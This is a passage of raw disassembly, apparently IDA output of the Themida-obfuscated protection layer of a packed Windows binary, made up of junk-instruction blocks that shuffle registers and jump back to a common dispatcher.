		jmp	loc_56097E
; ---------------------------------------------------------------------------


loc_5707FD:				; CODE XREF: Themida_:0055D545j
		add	edx, 4F5201B6h
		pop	ecx
		push	ebx
		mov	ebx, 3219761Dh
		or	ebx, 586F2506h
		dec	ebx
		and	ebx, 304C7D29h
		not	ebx
		jmp	loc_5696D2
; ---------------------------------------------------------------------------


loc_57081E:				; CODE XREF: Themida_:00561266j
		push	esp
		pop	ebx
		push	4890h
		mov	[esp], ebp
		jmp	loc_56FCA5
; ---------------------------------------------------------------------------


loc_57082D:				; CODE XREF: Themida_:005672CFj
		pop	ebp
		shl	esi, 6
		shl	esi, 8
		shl	esi, 7
		jmp	loc_567C29
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57168E
; ---------------------------------------------------------------------------


loc_570848:				; CODE XREF: Themida_:0056DF6Ej
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	edx, 2483411h
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_57085F:				; CODE XREF: Themida_:0056AB63j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_570864:				; CODE XREF: Themida_:0056C905j
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_55FDAB
; ---------------------------------------------------------------------------


loc_570873:				; CODE XREF: Themida_:00560A74j
		add	esp, 4
		push	6E37h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	5670h
		mov	[esp], edx
		mov	edx, 6BB41B56h
		jmp	loc_570C79
; ---------------------------------------------------------------------------


loc_57089C:				; CODE XREF: Themida_:0055F9FDj
		pop	edx
		jmp	loc_561CBB
; ---------------------------------------------------------------------------


loc_5708A2:				; CODE XREF: Themida_:0056C995j
		push	edx
		mov	edx, 1
		sub	ebp, edx
		pop	edx
		push	edi
		mov	edi, 4DFB2B20h
		add	ebp, edi
		pop	edi
		or	ebp, 66E94F30h
		push	ebp
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56C3E2
; ---------------------------------------------------------------------------


loc_5708CA:				; CODE XREF: Themida_:0056329Cj
		dec	ebp
		inc	ebp
		or	ebp, 30917083h
		push	0B5Ch
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3E377F93h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56EB32
; ---------------------------------------------------------------------------


loc_5708F5:				; CODE XREF: Themida_:0056FA35j
		or	ebx, ebp
		pop	ebp
		sub	ebx, 13780B8Fh
		jmp	loc_57180F
; ---------------------------------------------------------------------------


loc_570903:				; CODE XREF: Themida_:00565602j
		sub	dword ptr [esp], 7C876898h
		pop	eax
		add	eax, 7C876898h
		mov	edx, [esp]
		jmp	loc_5650D8
; ---------------------------------------------------------------------------


loc_570918:				; CODE XREF: Themida_:0055FAA5j
		mov	edx, ebx
		pop	ebx
		jmp	loc_568D51
; ---------------------------------------------------------------------------


loc_570920:				; CODE XREF: Themida_:0056A1D2j
		add	esp, 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_570928:				; CODE XREF: Themida_:0056C842j
		sub	ebp, 482A7061h
		add	ebp, ebx
		add	ebp, 482A7061h
		jmp	loc_5678BF
; ---------------------------------------------------------------------------


loc_57093B:				; CODE XREF: Themida_:005672E0j
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5625F7
; ---------------------------------------------------------------------------


loc_57094D:				; CODE XREF: Themida_:0055DBDFj
		add	esp, 4
		push	587h
		mov	[esp], edx
		push	4010h
		mov	[esp], ebx
		push	eax
		add	dword ptr [esp], 305B2AF0h
		pop	ebx
		jmp	loc_571A3F
; ---------------------------------------------------------------------------


loc_57096E:				; CODE XREF: Themida_:00561FB0j
		and	esi, 3BA50E0Ch
		shr	esi, 7
		shr	esi, 5
		push	ebx
		mov	ebx, 1AA14h
		xor	esi, ebx
		pop	ebx
		add	ebx, esi
		pop	esi
		push	edx
		push	ebx
		mov	ebx, 7626596Fh
		jmp	loc_56D934
; ---------------------------------------------------------------------------


loc_570992:				; CODE XREF: Themida_:00569BADj
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55FE74
; ---------------------------------------------------------------------------


loc_5709B1:				; CODE XREF: Themida_:005640A4j
		pop	ebp
		jmp	loc_56AD3F
; ---------------------------------------------------------------------------


loc_5709B7:				; CODE XREF: Themida_:0056A738j
		sub	edi, 0EF1E1111h
		mov	eax, edi
		pop	edi
		neg	eax
		not	eax
		jmp	loc_561C59
; ---------------------------------------------------------------------------
		push	1542h
		jmp	loc_56DB45
; ---------------------------------------------------------------------------


loc_5709D3:				; CODE XREF: Themida_:00567129j
		shl	ebx, 7
		push	ebp
		mov	ebp, 8221C826h
		add	ebx, ebp
		jmp	loc_5697CF
; ---------------------------------------------------------------------------


loc_5709E3:				; CODE XREF: Themida_:0056C200j
		mov	[esp], ecx
		push	edx
		jmp	loc_5685E9
; ---------------------------------------------------------------------------


loc_5709EC:				; CODE XREF: Themida_:0056E268j
		mov	edx, ebx
		jmp	loc_569861
; ---------------------------------------------------------------------------


loc_5709F3:				; CODE XREF: Themida_:00572178j
		push	esi
		mov	esi, 26254DC6h
		sub	ebp, esi
		jmp	loc_55E28C
; ---------------------------------------------------------------------------


loc_570A00:				; CODE XREF: Themida_:0056C0DFj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56832B
; ---------------------------------------------------------------------------


loc_570A0B:				; CODE XREF: Themida_:00569290j
		mov	dh, 59h
		mov	bh, 2
		add	bh, dh
		pop	edx
		add	bh, 0B9h
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55E426
; ---------------------------------------------------------------------------


loc_570A25:				; CODE XREF: Themida_:0056F234j
		xor	esi, edi
		jmp	loc_571ED5
; ---------------------------------------------------------------------------


loc_570A2C:				; CODE XREF: Themida_:00566B4Cj
		mov	[edi+eax*4+1], bh
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		jmp	loc_560FD0
; ---------------------------------------------------------------------------


loc_570A3C:				; CODE XREF: Themida_:0055E2BAj
		mov	[esp], edi
		mov	edi, 0DA4AC9DEh
		add	ebp, edi
		pop	edi
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_570A67:				; CODE XREF: Themida_:00563C8Cj
		mov	edi, 95B014Ch
		add	edi, 324001B8h
		sub	edi, 781D65C2h
		sub	edi, 3ECE72BFh
		add	edi, 0ADEAE33Fh
		add	edi, 399303BEh
		jmp	loc_5606BC
; ---------------------------------------------------------------------------


loc_570A8F:				; CODE XREF: Themida_:0057238Fj
		push	eax
		mov	eax, 831022Eh
		add	edx, eax
		pop	eax
		jmp	loc_564AD7
; ---------------------------------------------------------------------------


loc_570A9D:				; CODE XREF: Themida_:00568593j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_569ADE
; ---------------------------------------------------------------------------


loc_570AA9:				; CODE XREF: Themida_:0056EC27j
		push	1B49h
		jmp	loc_55DB6E
; ---------------------------------------------------------------------------


loc_570AB3:				; CODE XREF: Themida_:00571DEDj
		add	esp, 4
		add	ebx, 0FFFFFFFFh
		inc	ebx
		jmp	loc_55FF3B
; ---------------------------------------------------------------------------


loc_570AC5:				; CODE XREF: Themida_:0056E6D8j
		sub	eax, 2D4C68AEh
		jmp	loc_568B5A
; ---------------------------------------------------------------------------


loc_570ACF:				; CODE XREF: Themida_:0056C78Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 417E38D6h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_560633
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56EFBF
; ---------------------------------------------------------------------------


loc_570B08:				; CODE XREF: Themida_:00565631j
		push	8EE5F01h
		pop	edx
		dec	edx
		jmp	loc_560678
; ---------------------------------------------------------------------------


loc_570B14:				; CODE XREF: Themida_:0056BAE4j
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_571C9A
; ---------------------------------------------------------------------------


loc_570B1E:				; CODE XREF: Themida_:0056A5A4j
		mov	[esp], edi
		mov	edi, 4
		add	edx, 4528760Dh
		add	edx, edi
		jmp	loc_56DEAB
; ---------------------------------------------------------------------------


loc_570B33:				; CODE XREF: Themida_:0055EAE3j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_563B11
; ---------------------------------------------------------------------------


loc_570B4A:				; CODE XREF: Themida_:0056D483j
		mov	edx, 7ABB73AAh
		and	edx, 0C036648h
		inc	edx
		neg	edx
		dec	edx
		sub	edx, 0F7FC9DF2h
		jmp	loc_55DE42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_570B64:				; CODE XREF: sub_59DB3D-3E6C8j
		sub	edi, 2
		xchg	edi, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		jmp	loc_56A3A8
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_570B72:				; CODE XREF: Themida_:00564991j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_570B77:				; CODE XREF: Themida_:0056EF6Dj
		mov	[esp], ebx
		jmp	loc_56C412
; ---------------------------------------------------------------------------


loc_570B7F:				; CODE XREF: Themida_:00560AFDj
		pop	ecx
		jmp	loc_56C83A
; ---------------------------------------------------------------------------


loc_570B85:				; CODE XREF: Themida_:00569AD9j
		add	dh, ch
		pop	ecx
		push	ebx
		mov	bl, 89h
		not	bl
		shr	bl, 6
		dec	bl
		sub	bl, 0E5h
		add	bl, 6Dh
		sub	al, bl
		pop	ebx
		add	al, dh
		jmp	loc_572674
; ---------------------------------------------------------------------------


loc_570BA2:				; CODE XREF: Themida_:00560DE0j
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 3E5C34FBh
		add	edx, esi
		jmp	loc_571A4F
; ---------------------------------------------------------------------------


loc_570BB5:				; CODE XREF: Themida_:0055FB18j
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_570D71
; ---------------------------------------------------------------------------


loc_570BCE:				; CODE XREF: Themida_:0055DF74j
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_566DA5
; ---------------------------------------------------------------------------


loc_570BE5:				; CODE XREF: Themida_:00563479j
		mov	esp, [esp]
		push	ebp
		sub	dword ptr [esp], 11527A71h
		pop	edx
		add	edx, 11527A71h
		mov	ebp, [esp]
		jmp	loc_563DE4
; ---------------------------------------------------------------------------


loc_570BFF:				; CODE XREF: Themida_:0056EB0Fj
		mov	ch, 0A6h
		sub	al, ch
		jmp	loc_560B91
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_570C9F
; ---------------------------------------------------------------------------


loc_570C11:				; CODE XREF: Themida_:0056C7C4j
		mov	ebx, 24h
		add	ebx, edi
		jmp	loc_55E106
; ---------------------------------------------------------------------------


loc_570C1D:				; CODE XREF: Themida_:0056516Cj
		add	dl, 49h
		add	dl, 71h
		sub	dl, 0AEh
		jmp	loc_55DA75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_570C2B:				; CODE XREF: sub_562A0A+9496j
		pop	ecx
		add	bl, dl
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_568B2E
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_570C39:				; CODE XREF: Themida_:0055D924j
		sub	edx, 5186D67h
		and	edx, 79D948B8h
		add	edx, 57664B5Fh
		add	edx, 0D12FEEB6h
		jmp	loc_562115
; ---------------------------------------------------------------------------


loc_570C56:				; CODE XREF: Themida_:0056E99Cj
		push	edx
		mov	edx, 4A5B0BF2h
		dec	edx
		sub	edx, 731A45C5h
		shr	edx, 4
		jmp	loc_56FD5A
; ---------------------------------------------------------------------------


loc_570C6B:				; CODE XREF: Themida_:0055E3FEj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_572331
; ---------------------------------------------------------------------------


loc_570C79:				; CODE XREF: Themida_:00570897j
		and	edx, 42C53B12h
		sub	edx, 4B8C4454h
		sub	edx, 2D8F32F2h
		shr	edx, 2
		and	edx, 6BC73736h
		xor	edx, 39FF5FE0h
		jmp	loc_56B9F6
; ---------------------------------------------------------------------------


loc_570C9F:				; CODE XREF: Themida_:00570C0Cj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_570CA4:				; CODE XREF: Themida_:00569D38j
		add	esi, 1
		jmp	loc_5643AF
; ---------------------------------------------------------------------------


loc_570CAC:				; CODE XREF: Themida_:0055EB88j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_562E91
; ---------------------------------------------------------------------------


loc_570CBB:				; CODE XREF: Themida_:00560990j
		dec	bl
		shr	bl, 6
		sub	bl, 28h
		xor	bl, 0D3h
		add	ch, 0B2h
		jmp	loc_56749A
; ---------------------------------------------------------------------------


loc_570CCE:				; CODE XREF: Themida_:0056E376j
		mov	[esp], eax
		push	edx
		push	ebx
		mov	bl, 53h
		mov	dh, bl
		jmp	loc_571828
; ---------------------------------------------------------------------------


loc_570CDC:				; CODE XREF: Themida_:00572351j
		xchg	ebp, [esp]
		jmp	loc_5652E4
; ---------------------------------------------------------------------------


loc_570CE4:				; CODE XREF: Themida_:00566742j
		not	edx
		push	ebx
		mov	ebx, 6CCF669Fh
		jmp	loc_571C76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_570CF1:				; CODE XREF: sub_59DB3D-2D56Aj
		inc	ah
		not	ah
		add	ah, 7
		not	ah
		sub	esp, 2
		mov	[esp+0], cx
		jmp	loc_566AEA
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_570D06:				; CODE XREF: Themida_:0055F34Dj
		mov	eax, 0BF5548Eh
		sub	eax, 77CB42F7h
		jmp	loc_569743
; ---------------------------------------------------------------------------


loc_570D15:				; CODE XREF: Themida_:0055DCD3j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_56BBC3
; ---------------------------------------------------------------------------


loc_570D1F:				; CODE XREF: Themida_:0056EC89j
		shr	ebp, 1
		or	ebp, 20A777ACh
		jmp	loc_561861
; ---------------------------------------------------------------------------


loc_570D2C:				; CODE XREF: Themida_:0056C7CCj
		pop	edi
		add	eax, 3A4823C5h
		sub	eax, ebp
		sub	eax, 3A4823C5h
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		push	esi
		mov	esi, 7413169Fh
		xor	esi, 0EFA190Dh
		inc	esi
		add	esi, 8516F071h
		mov	edi, esi
		jmp	loc_5612A5
; ---------------------------------------------------------------------------


loc_570D66:				; CODE XREF: Themida_:0056D55Bj
		sub	ecx, 10045C7Dh
		jmp	loc_56F70D
; ---------------------------------------------------------------------------


loc_570D71:				; CODE XREF: Themida_:00570BC9j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_570D76:				; CODE XREF: Themida_:0056F77Aj
		xor	dword ptr [ebx], 109459E2h
		pop	ebx
		push	0EA6h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 0AF16471h
		jmp	loc_568CF4
; ---------------------------------------------------------------------------


loc_570D90:				; CODE XREF: Themida_:0056EB71j
		shr	ecx, 4
		add	ecx, 54813456h
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		add	edx, 5C8D70D6h
		pop	ebp
		sub	edx, 36D66C30h
		jmp	loc_56897D
; ---------------------------------------------------------------------------


loc_570DB0:				; CODE XREF: Themida_:00569638j
		add	bl, 2Dh
		sub	bl, 51h
		push	edx
		mov	dl, 55h
		sub	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5685FB
; ---------------------------------------------------------------------------


loc_570DC9:				; CODE XREF: Themida_:00564843j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	22B6h
		mov	[esp], ecx
		jmp	loc_56768D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_570DE7:				; CODE XREF: sub_59DB3D-3337Ej
		and	ch, 4
		sub	ch, 94h
		add	al, 93h
		jmp	loc_571354
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_570DF4:				; CODE XREF: Themida_:00566D69j
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_567F96
; ---------------------------------------------------------------------------


loc_570E0A:				; CODE XREF: Themida_:00572AF0j
		pop	eax
		jmp	loc_56F16F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		add	dword ptr [esp], 741251F8h
		jmp	loc_56B4C7
; ---------------------------------------------------------------------------


loc_570E1F:				; CODE XREF: Themida_:005698E5j
		pop	esi
		add	edi, 3295E38Fh
		xor	ebx, edi
		pop	edi
		add	edi, 465E7EE4h
		sub	edi, ebx
		sub	edi, 465E7EE4h
		pop	ebx
		add	eax, 2D391BCBh
		sub	eax, edi
		sub	eax, 2D391BCBh
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_57125F
; ---------------------------------------------------------------------------


loc_570E52:				; CODE XREF: Themida_:005697C2j
		sub	ebx, 1A95055Fh
		add	ebx, ebp
		add	ebx, 1A95055Fh
		pop	ebp
		push	eax
		mov	eax, 61EC66C0h
		xor	eax, 59F37FC7h
		sub	eax, 20E8FCA4h
		jmp	loc_55F41A
; ---------------------------------------------------------------------------


loc_570E76:				; CODE XREF: Themida_:0057006Fj
		not	bl
		xchg	al, bl
		inc	al
		xchg	al, bl
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_563D82
; ---------------------------------------------------------------------------


loc_570E8D:				; CODE XREF: Themida_:00568E10j
		push	esi
		mov	esi, 49DE2BC3h
		mov	edx, 9AA6FCAAh
		add	edx, esi
		jmp	loc_56A743
; ---------------------------------------------------------------------------


loc_570E9F:				; CODE XREF: Themida_:00571CC4j
		push	ebp
		mov	ebp, 57D013A4h
		jmp	loc_56920A
; ---------------------------------------------------------------------------


loc_570EAA:				; CODE XREF: Themida_:0056BC8Aj
		pop	edx
		pop	edx
		push	ecx
		push	41263F04h
		jmp	loc_562B36
; ---------------------------------------------------------------------------


loc_570EB7:				; CODE XREF: Themida_:0055D312j
		pop	edi
		xor	eax, 4864082h
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 32B47E06h
		add	edi, edx
		jmp	loc_5607FA
; ---------------------------------------------------------------------------


loc_570ED5:				; CODE XREF: Themida_:00560ADDj
		add	ebp, 3CD15CE3h
		push	ecx
		mov	ecx, 797E0962h
		add	ecx, 0A17A1E2Ch
		jmp	loc_5654C5
; ---------------------------------------------------------------------------


loc_570EEC:				; CODE XREF: Themida_:0056AA2Cj
		add	eax, ebp
		pop	ebp
		jmp	loc_5673B1
; ---------------------------------------------------------------------------


loc_570EF4:				; CODE XREF: Themida_:0056E85Ej
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55FC01
; ---------------------------------------------------------------------------


loc_570F0A:				; CODE XREF: Themida_:00565C8Bj
		inc	ebp
		push	72EAh
		mov	[esp], edx
		mov	edx, 46886A12h
		jmp	loc_55EA4B
; ---------------------------------------------------------------------------


loc_570F1D:				; CODE XREF: Themida_:0056C041j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_56052A
; ---------------------------------------------------------------------------


loc_570F28:				; CODE XREF: Themida_:005706CFj
		mov	esi, 0A563E050h
		jmp	loc_55EA2D
; ---------------------------------------------------------------------------


loc_570F32:				; CODE XREF: Themida_:0055E819j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_571290
; ---------------------------------------------------------------------------


loc_570F3B:				; CODE XREF: Themida_:005675AEj
		push	2808h
		mov	[esp], ecx
		mov	ch, 56h
		push	3FB3h
		jmp	loc_560988
; ---------------------------------------------------------------------------


loc_570F4F:				; CODE XREF: Themida_:005706EFj
		xor	edi, 4A96568Fh
		sub	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56F9BC
; ---------------------------------------------------------------------------


loc_570F60:				; CODE XREF: Themida_:0057125Aj
		xor	ebp, 0FAFFFDBEh
		and	ebx, ebp
		pop	ebp
		not	ebx
		jmp	loc_562F7B
; ---------------------------------------------------------------------------


loc_570F70:				; CODE XREF: Themida_:0056ED04j
		sub	ebx, 7DA4753Ch
		push	ebp
		mov	ebp, 3F7E2324h
		dec	ebp
		dec	ebp
		add	ebp, 1E6002D8h
		add	ebx, 202F5C0Fh
		add	ebx, 36812130h
		add	ebx, ebp
		sub	ebx, 36812130h
		jmp	loc_55FF5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_570F9D:				; CODE XREF: sub_562A0A-CD3j
		or	dl, cl
		pop	ecx
		push	ecx
		jmp	loc_56004D
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_570FA6:				; CODE XREF: Themida_:0055F711j
		mov	[esp], ebp
		push	733Dh
		mov	[esp], edi
		jmp	loc_565CA9
; ---------------------------------------------------------------------------


loc_570FB6:				; CODE XREF: Themida_:005693A0j
		mov	edx, 7A8C622Dh
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		jmp	loc_5608A6
; ---------------------------------------------------------------------------


loc_570FC7:				; CODE XREF: Themida_:0056A3E4j
		mov	[esp], ebx
		push	313Ah
		jmp	loc_567EF0
; ---------------------------------------------------------------------------


loc_570FD4:				; CODE XREF: Themida_:0056619Cj
		add	esi, ebp
		pop	ebp
		sub	ebp, 56ED5E5Ah
		add	ebp, esi
		add	ebp, 56ED5E5Ah
		pop	esi
		mov	edx, ebp
		jmp	loc_56EC02
; ---------------------------------------------------------------------------


loc_570FED:				; CODE XREF: Themida_:0056D0ADj
		mov	ebx, 78536BD0h
		add	ebx, 2AF04205h
		sub	ebx, 4F331B18h
		push	edi
		jmp	loc_568044
; ---------------------------------------------------------------------------


loc_571004:				; CODE XREF: Themida_:0055F8D0j
		mov	[esp], edi
		mov	edi, 1
		sub	dword ptr [esp+4], 5CBF3F6Eh
		add	dword ptr [esp+4], 1B23C70h
		sub	dword ptr [esp+4], 7BC2708Ch
		sub	[esp+4], edi
		push	edx
		mov	edx, 7BC2708Ch
		push	ebp
		jmp	loc_56F37D
; ---------------------------------------------------------------------------


loc_571034:				; CODE XREF: Themida_:0056FF82j
		not	ebx
		jmp	loc_56353B
; ---------------------------------------------------------------------------


loc_57103B:				; CODE XREF: Themida_:0056C6F5j
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 7EF0788Bh
		xor	esi, 4E8433C7h
		jmp	loc_56F81A
; ---------------------------------------------------------------------------


loc_571057:				; CODE XREF: Themida_:0056FDC6j
		mov	ecx, 2
		jmp	loc_56FDD2
; ---------------------------------------------------------------------------


loc_571061:				; CODE XREF: Themida_:00571EF5j
		xor	ecx, 105A4D29h
		and	ecx, 6E744FF6h
		neg	ecx
		shl	ecx, 5
		jmp	loc_56691E
; ---------------------------------------------------------------------------


loc_571077:				; CODE XREF: Themida_:0056B6E2j
		pop	edi
		push	esi
		mov	esi, 30BE786Ch
		sub	edx, esi
		pop	esi
		add	edx, esi
		add	edx, 30BE786Ch
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_57147A
; ---------------------------------------------------------------------------


loc_571095:				; CODE XREF: Themida_:005604F4j
		inc	eax
		not	eax
		inc	eax
		jmp	loc_5662CD
; ---------------------------------------------------------------------------


loc_57109E:				; CODE XREF: Themida_:00561662j
		mov	eax, 0E065928h
		xor	eax, 7B1C4F1Dh
		or	eax, 591B00E8h
		jmp	loc_562A5A
; ---------------------------------------------------------------------------


loc_5710B2:				; CODE XREF: Themida_:0056C741j
		add	esp, 4
		jmp	loc_56B8CC
; ---------------------------------------------------------------------------


loc_5710BD:				; CODE XREF: Themida_:005636C9j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5710C2:				; CODE XREF: Themida_:005630DCj
		sub	edx, ebp
		add	edx, 44C1192Fh
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56519A
; ---------------------------------------------------------------------------


loc_5710DC:				; CODE XREF: Themida_:00563555j
		pop	ebx
		xor	ebp, 37CE0F50h
		and	ebp, 5B5B3266h
		and	ebp, 660D1867h
		push	esi
		jmp	loc_56B5DC
; ---------------------------------------------------------------------------


loc_5710F5:				; CODE XREF: Themida_:00571419j
		sub	ebp, 687D1BF4h
		xor	esi, ebp
		pop	ebp
		push	esi
		jmp	loc_561B7E
; ---------------------------------------------------------------------------


loc_571104:				; CODE XREF: Themida_:0056B433j
		xchg	eax, [esp]
		push	eax
		jmp	loc_572AEF
; ---------------------------------------------------------------------------


loc_57110D:				; CODE XREF: Themida_:00563BEEj
		mov	dh, 58h
		sub	dh, 0BBh
		or	dh, 21h
		push	ax
		mov	ah, 7Ah
		add	dh, ah
		pop	ax
		sub	ch, dh
		pop	edx
		push	edx
		push	ebx
		mov	bl, ch
		mov	dh, bl
		pop	ebx
		jmp	loc_56C177
; ---------------------------------------------------------------------------


loc_57112C:				; CODE XREF: Themida_:00561F13j
		pop	dword ptr [esp]
		jmp	loc_55F58F
; ---------------------------------------------------------------------------


loc_571134:				; CODE XREF: Themida_:0056B1D6j
		sub	esp, 4
		jmp	loc_565C9E
; ---------------------------------------------------------------------------


loc_57113F:				; CODE XREF: Themida_:0055DB92j
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 929162Dh
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	0EE3h
		mov	[esp], edx
		push	esi
		jmp	loc_56EC2C
; ---------------------------------------------------------------------------


loc_571190:				; CODE XREF: Themida_:00563B3Ej
		add	ebx, 3EAE0467h
		jmp	loc_56FFCE
; ---------------------------------------------------------------------------


loc_57119B:				; CODE XREF: Themida_:005696A4j
		add	esp, 2
		jmp	loc_571D55
; ---------------------------------------------------------------------------


loc_5711A6:				; CODE XREF: Themida_:0056F1FEj
		push	esi
		mov	esi, edi
		mov	ebx, esi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5711BA:				; CODE XREF: Themida_:0055FB5Ej
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56EFFC
; ---------------------------------------------------------------------------


loc_5711C3:				; CODE XREF: Themida_:00569FC4j
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55EB72
; ---------------------------------------------------------------------------


loc_5711D4:				; CODE XREF: Themida_:0056DE64j
		push	edx
		mov	edx, 29FC1ACDh
		sub	edi, 19BD050Fh
		sub	edi, 501B45A3h
		add	edi, edx
		add	edi, 501B45A3h
		push	ebp
		mov	ebp, 4C69796Ch
		jmp	loc_56468D
; ---------------------------------------------------------------------------


loc_5711F9:				; CODE XREF: Themida_:0056CD73j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_566758
; ---------------------------------------------------------------------------


loc_571204:				; CODE XREF: Themida_:0056B828j
		add	esp, 4
		or	eax, eax
		jz	loc_56E78D
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 59C8200Ch
		xor	[esp+4], ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55FDCD
; ---------------------------------------------------------------------------


loc_571239:				; CODE XREF: Themida_:00567F5Fj
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 5D364E75h
		and	ecx, eax
		jmp	loc_5620AF
; ---------------------------------------------------------------------------


loc_57124F:				; CODE XREF: Themida_:00571326j
		mov	ebp, 79D94B18h
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		jmp	loc_570F60
; ---------------------------------------------------------------------------


loc_57125F:				; CODE XREF: Themida_:00570E4Dj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_57126B:				; CODE XREF: Themida_:00563181j
		add	edi, 0EEFEA406h
		jmp	loc_560102
; ---------------------------------------------------------------------------


loc_571276:				; CODE XREF: Themida_:00566888j
